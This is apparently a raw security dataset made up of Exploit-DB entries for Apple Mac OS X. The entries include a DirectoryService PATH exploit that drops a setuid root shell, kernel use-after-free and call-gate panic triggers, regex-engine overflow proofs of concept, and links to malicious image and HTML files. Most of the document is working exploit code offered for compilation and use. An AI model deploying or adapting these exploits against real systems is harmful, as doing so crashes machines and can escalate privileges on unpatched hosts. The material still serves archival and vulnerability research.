deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22483
Description: Apple Mac OSX 10.x - DirectoryService Denial of Service
Type: dos
Platform: osx
Date: 2003-04-10
Author: Neeko Oni

Exploit:
// source: https://www.securityfocus.com/bid/7323/info

MacOSX DirectoryService has been reported prone to a denial of service vulnerability.

It has been reported that a remote attacker may trigger an exception in
DirectoryService by repeatedly connecting to specific network ports. 

/* 
   OS X <= 10.2.4 DirectoryService local root PATH exploit
   DirectoryService must be crashed prior to execution, per
   @stake advisory.  If you discover how to crash DirectoryService
   e-mail me at neeko@haackey.com  [Neeko Oni]

[Copying and pasting code does not make you cool, no matter how many
dollars per hour you make.  Sorry.]

--
Assuming DirectoryService has been crashed/killed, compile
this code as 'touch' (gcc osxds.c -o touch) and execute.

bash$ ./touch
*bunch of stuff here*
euid is root.
bash#

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int 
main(int argc, char **argv)
{
	char           *ORIGPATH;
	int             temp;
	if (argc < 2) {
		if (geteuid() == 0) {
		printf("euid is root.\n");
		setuid(0);
		execl("/bin/bash", "bash", NULL);
		}
		strcpy(ORIGPATH, getenv("PATH"));
		printf("Original path: %s\n", ORIGPATH);
		setenv("PATH", ".", 1);
		printf("New path: %s\n", getenv("PATH"));
		printf("Executing DirectoryService with false PATH...\n");
		if (fork() == 0) {
			execl("/usr/sbin/DirectoryService", "DirectoryService", NULL);
		}
		printf("Forked DirectoryService, pausing before shell exec...\n");
		sleep(3);
		printf("Cross your fingers.\n");
		setenv("PATH", ORIGPATH, 1);
		printf("Path restored: %s\n", getenv("PATH"));
		execl("./touch", "touch", NULL);		
	}
system("/usr/sbin/chown root ./touch;/bin/chmod +s ./touch");
}
Exploit-DB #28948
Description: Apple Mac OSX 10.x - FPathConf System Call Local Denial of Service
Type: dos
Platform: osx
Date: 2006-11-09
Author: ilja van sprundel

Exploit:
// source: https://www.securityfocus.com/bid/20982/info

Apple Mac OS X is prone to a local denial-of-service vulnerability because the kernel fails to properly handle the execution of a system call.

Exploiting this issue allows local, unprivileged users to crash affected kernels, denying further service to legitimate users.

#include <unistd.h>
#include <semaphore.h>

int main() {
fpathconf(sem_open("DaringWussball", O_CREAT, S_IRWXU, 1), 0);
}
Exploit-DB #27790
Description: Apple Mac OSX 10.x - ImageIO OpenEXR Image File Remote Denial of Service
Type: dos
Platform: osx
Date: 2006-05-01
Author: Christian

Exploit:
source: https://www.securityfocus.com/bid/17768/info

ImageIO is susceptible to a remote denial-of-service vulnerability. This issue is do to a failure to properly process malicious OpenEXR image files.

This issue allows remote users to crash applications that use the ImageIO API, denying further service to users.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27790.exr
Exploit-DB #28578
Description: Apple Mac OSX 10.x - KExtLoad Buffer Overflow
Type: dos
Platform: osx
Date: 2006-09-14
Author: Adriel T. Desautels

Exploit:
source: https://www.securityfocus.com/bid/20034/info

Apple Mac OS X kextload is prone to a buffer-overflow vulnerability because it fails to sufficiently bounds-check user-supplied data before copying it to a finite-sized memory buffer.

This issue is not exploitable by itself, because kextload is not installed as a setuid-superuser application by default. To exploit this issue, an attacker must use another program running with elevated privileges to directly manipulate the arguments passed to kextload.

An attacker can exploit this issue to execute arbitrary machine code with superuser privileges. A successful exploit may result in the complete compromise of the affect computer.

Example kextload buffer-overflow vulnerability affecting TDIXsupport: 

netragard-test:$ sudo ktrace -di ./TDIXSupport `perl -e 'print "A" x 1000'`/TDIXController.kext 
... 
1067 security_authtra CALL sendto(0x7,0xbfffde14,0x36,0,0,0) 
1067 security_authtra GIO fd 7 wrote 54 bytes 
~ "<37>Jul 8 11:31:58 authexec: executing /sbin/kextload" 
1067 security_authtra RET sendto 54/0x36 
1067 security_authtra CALL execve(0xbfffec61,0xbfffebb4,0x300af0) 
1067 security_authtra NAMI "/sbin/kextload" 
... 
1067 kextload PSIG SIGSEGV SIG_DFL 
1066 TDIXSupport GIO fd 7 read 0 bytes 
~ "" 
1066 TDIXSupport RET read 0 
1066 TDIXSupport CALL close(0x7) 
1066 TDIXSupport RET close 0 
1066 TDIXSupport CALL exit(0xe00002c0)
Exploit-DB #27714
Description: Apple Mac OSX 10.x - LZWDecodeVector '.tiff' Overflow
Type: dos
Platform: osx
Date: 2006-04-20
Author: Tom Ferris

Exploit:
source: https://www.securityfocus.com/bid/17634/info

Apple Mac OS X is reported prone to multiple security vulnerabilities.

These issue affect Mac OS X and various applications including Safari, Preview, Finder, QuickTime, and BOMArchiveHelper. A remote attacker may exploit these issues to execute arbitrary code and/or trigger a denial-of-service condition.

Apple Mac OS X 10.4.6 and prior are reported vulnerable to these issues.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27714-1.html

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27714-2.html

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27714-3.tiff
Exploit-DB #23505
Description: Apple Mac OSX 10.x - SecurityServer Daemon Local Denial of Service
Type: dos
Platform: osx
Date: 2003-12-30
Author: Matt Burnett

Exploit:
// source: https://www.securityfocus.com/bid/9332/info

Apple MacOS X SecurityServer has been reported prone to a denial of service vulnerability that may be triggered by a local user. The issue may be triggered under certain circumstances when a large password for a SecKeychainUnlock() call is specified under certain circumstances.

It has been reported that this activity will cause the SecurityServer to crash. The server appears to crash during a memory copy operation, potentially resulting in memory corruption. This could possibly allow for execution of arbitrary code, though this possibility has not been confirmed. 

#include <Security/Security.h>
int main(int argc, const char *argv[])
{
    SecKeychainRef defaultKeychain;
    SecKeychainCopyDefault(&defaultKeychain);
    SecKeychainLock(defaultKeychain);
    SecKeychainUnlock(defaultKeychain, 0xFFFFFFFF, "password", true);
    return 0;
}
Exploit-DB #17901
Description: Apple Mac OSX < 10.6.7 - Kernel Panic (Denial of Service)
Type: dos
Platform: osx
Date: 2011-09-28
Author: hkpco

Exploit:
/*
	Mac OS X < 10.6.7 Kernel Panic Exploit
	CVE-2011-0182, Proof Of Concept Code

	Author	- Chanam Park (hkpco)
	Date	- 2011. 06
	Contact	- chanam.park@hkpco.kr , http://hkpco.kr , @hkpco

	Thanks for inspiration / x82, riaf.
*/
// Compile: gcc -o CVE-2011-0182_PoC CVE-2011-0182_PoC.c -m32

#include <architecture/i386/table.h>
#include <i386/user_ldt.h>

#include <unistd.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void dummy_func( void ) { asm volatile( ".byte 0xff" ); }

int main( void )
{
	int ret;
	union ldt_entry cgate, cgate2;
	char dummy[128] = {0x00,};

	cgate.call_gate.offset00        = (unsigned int)dummy_func & 0xffff;
	cgate.call_gate.offset16        = ((unsigned int)dummy_func >> 16) & 0xffff;
	// You can input shellcode address value here to get the root shell.
	/* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p
	   The normal system has a little different environment.
	   I have no time for this anymore because of my summer break is over.
	   So.. Good Luck! */

	cgate.call_gate.argcnt          = 0;
	cgate.call_gate.type            = 0xc; // DESC_CALL_GATE
	cgate.call_gate.dpl             = 3;
	cgate.call_gate.present         = 1;

	cgate.call_gate.seg.rpl         = 0;
	cgate.call_gate.seg.ti          = 0;
	cgate.call_gate.seg.index       = 16;

	cgate2.call_gate.offset00       = 0x0;

	cgate2.call_gate.seg.rpl        = 0;
	cgate2.call_gate.seg.ti         = 0;
	cgate2.call_gate.seg.index      = 0;

	cgate2.call_gate.argcnt         = 0;
	cgate2.call_gate.type           = 0;
	cgate2.call_gate.dpl            = 0;
	cgate2.call_gate.present        = 1;

	cgate2.call_gate.offset16       = 0x0;

	printf( "// coded by Chanam Park (hkpco)\n\n" );

	ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 );
	printf( "Selector Number in LDT <1>: 0x%x\n", ret );

	ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 );
	printf( "Selector Number in LDT <2>: 0x%x\n\n", ret );

	printf( "If you run this program, it can possibly cause \"Kernel Panic\".\n" );
	printf( "The program will be continued when you input any value.\n" );
	printf( "-> " );
	fflush(stdout);
	scanf( "%s", dummy );

	asm volatile( "lcall $0x3f, $0x0" );
	// Trigger

	return 0;
}
Exploit-DB #39370
Description: Apple Mac OSX Kernel - Hypervisor Driver Use-After-Free
Type: dos
Platform: osx
Date: 2016-01-28
Author: Google Security Research

Exploit:
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=580

The hv_space lock group gets an extra ref dropped when you kill a process with an AppleHV userclient;
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the 
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
pointer taken from _hv.

tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
*/

//ianbeer

// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -zp -zc

/*
OS X Kernel UaF in hypervisor driver

The hv_space lock group gets an extra ref dropped (uaf) when you kill a process with an AppleHV userclient;
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the 
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
pointer taken from _hv.

tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>

int go() {
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleHV"));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  while(1) {
    io_connect_t conn;
    IOServiceOpen(service, mach_task_self(), 0, &conn);
    if (conn == MACH_PORT_NULL) {
      printf("can't connect to service\n");
      return 0;
    }

    uint64_t inputScalar[16];
    size_t inputScalarCnt = 0;

    uint8_t inputStruct[4096];
    size_t inputStructCnt = 0;

    uint64_t outputScalar[16] = {0};
    uint32_t outputScalarCnt = 16;

    char outputStruct[4096] = {0};
    size_t outputStructCnt = 4096;

    kern_return_t err = IOConnectCallMethod(
      conn,
      1,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);

    IOServiceClose(conn);
  }
}


int main(int argc, char** argv) {
  pid_t child = fork();
  if (child == 0) {
    go();
  } else {
    sleep(1);
    kill(child, 9);
    int sl;
    wait(&sl);
  }
  return 0;
}
Exploit-DB #39375
Description: Apple Mac OSX Kernel - IOAccelDisplayPipeUserClient2 Use-After-Free
Type: dos
Platform: osx
Date: 2016-01-28
Author: Google Security Research

Exploit:
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=565

Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications

repro: while true; do ./iospoof_ig_4; done

Likely to crash in various ways; have observed NULL derefs and NX traps.

Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/

// ianbeer
// clang -o iospoof_ig_4 iospoof_ig_4.c -framework IOKit
/*
Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications

repro: while true; do ./iospoof_ig_4; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
};

struct spoofed_notification msg = {0};

void send_message() {
  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.header.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  send_message();
}

int main(int argc, char** argv) {
  char* service_name = "IntelAccelerator";
  int client_type = 4;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;

  usleep(100000);

  start = 1;

  send_message();

  pthread_join(t, NULL);

  return 0;
}
Exploit-DB #39374
Description: Apple Mac OSX Kernel - IOAccelMemoryInfoUserClient Use-After-Free
Type: dos
Platform: osx
Date: 2016-01-28
Author: Google Security Research

Exploit:
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=566

Kernel UaF with IOAccelMemoryInfoUserClient with spoofed no more senders notifications

repro: while true; do ./iospoof_ig_7; done

Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/

// ianbeer
// clang -o iospoof_ig_7 iospoof_ig_7.c -framework IOKit
/*
Kernel UaF with IOAccelMemoryInfoUserClient with spoofed no more senders notifications

repro: while true; do ./iospoof_ig_7; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
};

struct spoofed_notification msg = {0};

void send_message() {
  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.header.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  send_message();
}

int main(int argc, char** argv) {
  char* service_name = "IntelAccelerator";
  int client_type = 7;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;

  usleep(100000);

  start = 1;

  send_message();

  pthread_join(t, NULL);

  return 0;
}
Exploit-DB #39373
Description: Apple Mac OSX Kernel - no-more-senders Use-After-Free
Type: dos
Platform: osx
Date: 2016-01-28
Author: Google Security Research

Exploit:
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=567

Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications

Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/


// ianbeer

/*
Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications
*/

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <bsm/audit.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
};

struct spoofed_notification msg = {0};

void send_message() {
  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.header.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  send_message();
}

int main(int argc, char** argv) {
  mach_port_t conn = audit_session_self();
  if (conn == MACH_PORT_NULL) {
    printf("can't get audit session port\n");
    return 0;
  }

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;

  usleep(100000);

  start = 1;

  send_message();

  pthread_join(t, NULL);

  return 0;
}
Exploit-DB #38262
Description: Apple Mac OSX Regex Engine (TRE) - Integer Signedness / Overflow
Type: dos
Platform: osx
Date: 2015-09-22
Author: Google Security Research

Exploit:
Source:  https://code.google.com/p/google-security-research/issues/detail?id=429

The OS X regex engine function tre_tnfa_run_parallel contains the following code:

  int tbytes;
...
  if (!match_tags)
    num_tags = 0;
  else
    num_tags = tnfa->num_tags;

...
  {
    int rbytes, pbytes, total_bytes;
    char *tmp_buf;
    /* Compute the length of the block we need. */
    tbytes = sizeof(*tmp_tags) * num_tags;
    rbytes = sizeof(*reach_next) * (tnfa->num_states + 1);
    pbytes = sizeof(*reach_pos) * tnfa->num_states;
    total_bytes =
      (sizeof(long) - 1) * 4 /* for alignment paddings */
      + (rbytes + tbytes * tnfa->num_states) * 2 + tbytes + pbytes;

    DPRINT(("tre_tnfa_run_parallel, allocate %d bytes\n", total_bytes));
    /* Allocate the memory. */
#ifdef TRE_USE_ALLOCA
    buf = alloca(total_bytes);
#else /* !TRE_USE_ALLOCA */
    buf = xmalloc((unsigned)total_bytes);  <-- malloc is called, not alloca
#endif /* !TRE_USE_ALLOCA */
    if (buf == NULL)
      return REG_ESPACE;
    memset(buf, 0, (size_t)total_bytes);


num_states and num_tags are computed based on the requirements of the regex and it's quite easy to make them each >64k with a relatively small regex. Note that total_bytes is an int and part of its calculation is the product of num_states and num_tags.

The types here are all over the place and there's conversion between int, unsigned's and size_t.

The attached PoC causes total_bytes to become negative leading to total_bytes being sign-extended in the memset call.

Severity medium because I haven't looked for exposed attack surface yet, but this doesn't require any non-standard flags (only REG_EXTENDED which is almost always used.)

Proof of Concept:

//ianbeer

#include <pthread.h>
#include <regex.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define DEFAULT_REG_FLAGS (REG_EXTENDED)

void* go(void* arg){
  unsigned int nesting_level = 20;
  size_t inner_size = nesting_level*2+10;
  char* inner = malloc(inner_size);

  memset(inner, '(', nesting_level);
  inner[nesting_level] = '\\';
  inner[nesting_level+1] = '1';
  memset(&inner[nesting_level+2], ')', nesting_level);
  inner[nesting_level*2+2] = '\x00';

  unsigned int n_captures = 0x1000;
  char* regex = malloc(n_captures * inner_size + 100);
  strcpy(regex, "f(o)o((b)a(r))");
  for (unsigned int i = 0; i < n_captures; i++) {
    strcat(regex, inner);
  }
  strcat(regex, "r\\1o|\\2f|\\3l|\\4");
  const char* match_against = "hellothar!";

  regex_t re;
  
  int err = regcomp (&re, regex, DEFAULT_REG_FLAGS);
  if (err == 0) {
    void* something = malloc(100);
    regexec (&re, match_against, 1, (regmatch_t*)something, DEFAULT_REG_FLAGS);
  }
  return NULL;
}

int main (int argc, char const** argv)
{
  go(NULL);
  return 0;
}
Exploit-DB #38263
Description: Apple Mac OSX Regex Engine (TRE) - Stack Buffer Overflow (PoC)
Type: dos
Platform: osx
Date: 2015-09-22
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=428

OS X Libc uses the slightly obscure TRE regex engine [ http://laurikari.net/tre/ ]

If used in enhanced mode (by passing the REG_ENHANCED flag to regcomp) TRE supports arbitrary-width hex literals. Here is the code used to parse them:

  /* Wide char. */
  char tmp[32];
  long val;
  int i = 0;
  ctx->re++;
  while (ctx->re_end - ctx->re >= 0)
    {
      if (ctx->re[0] == CHAR_RBRACE)
        break;
      if (tre_isxdigit_l(ctx->re[0], ctx->loc))
        {
    tmp[i] = (char)ctx->re[0];
    i++;
    ctx->re++;
    continue;
        }
      return REG_EBRACE;
    }

ctx->re points to the regex characters. This code blindly copies hex characters from the regex into the 32 byte stack buffer tmp until it encounters either a non-hex character or a '}'...

I'm still not sure exactly what's compiled with REG_ENHANCED but at least grep is; try this PoC on an OS X machine:

lldb -- grep "\\\\x{`perl -e 'print "A"x1000;'`}" /bin/bash

That should crash trying to read and write pointers near 0x[PII_REDACTED]414141

Severity Medium because I still need to find either a priv-esc or remote context in which you can control the regex when REG_ENHANCED is enabled.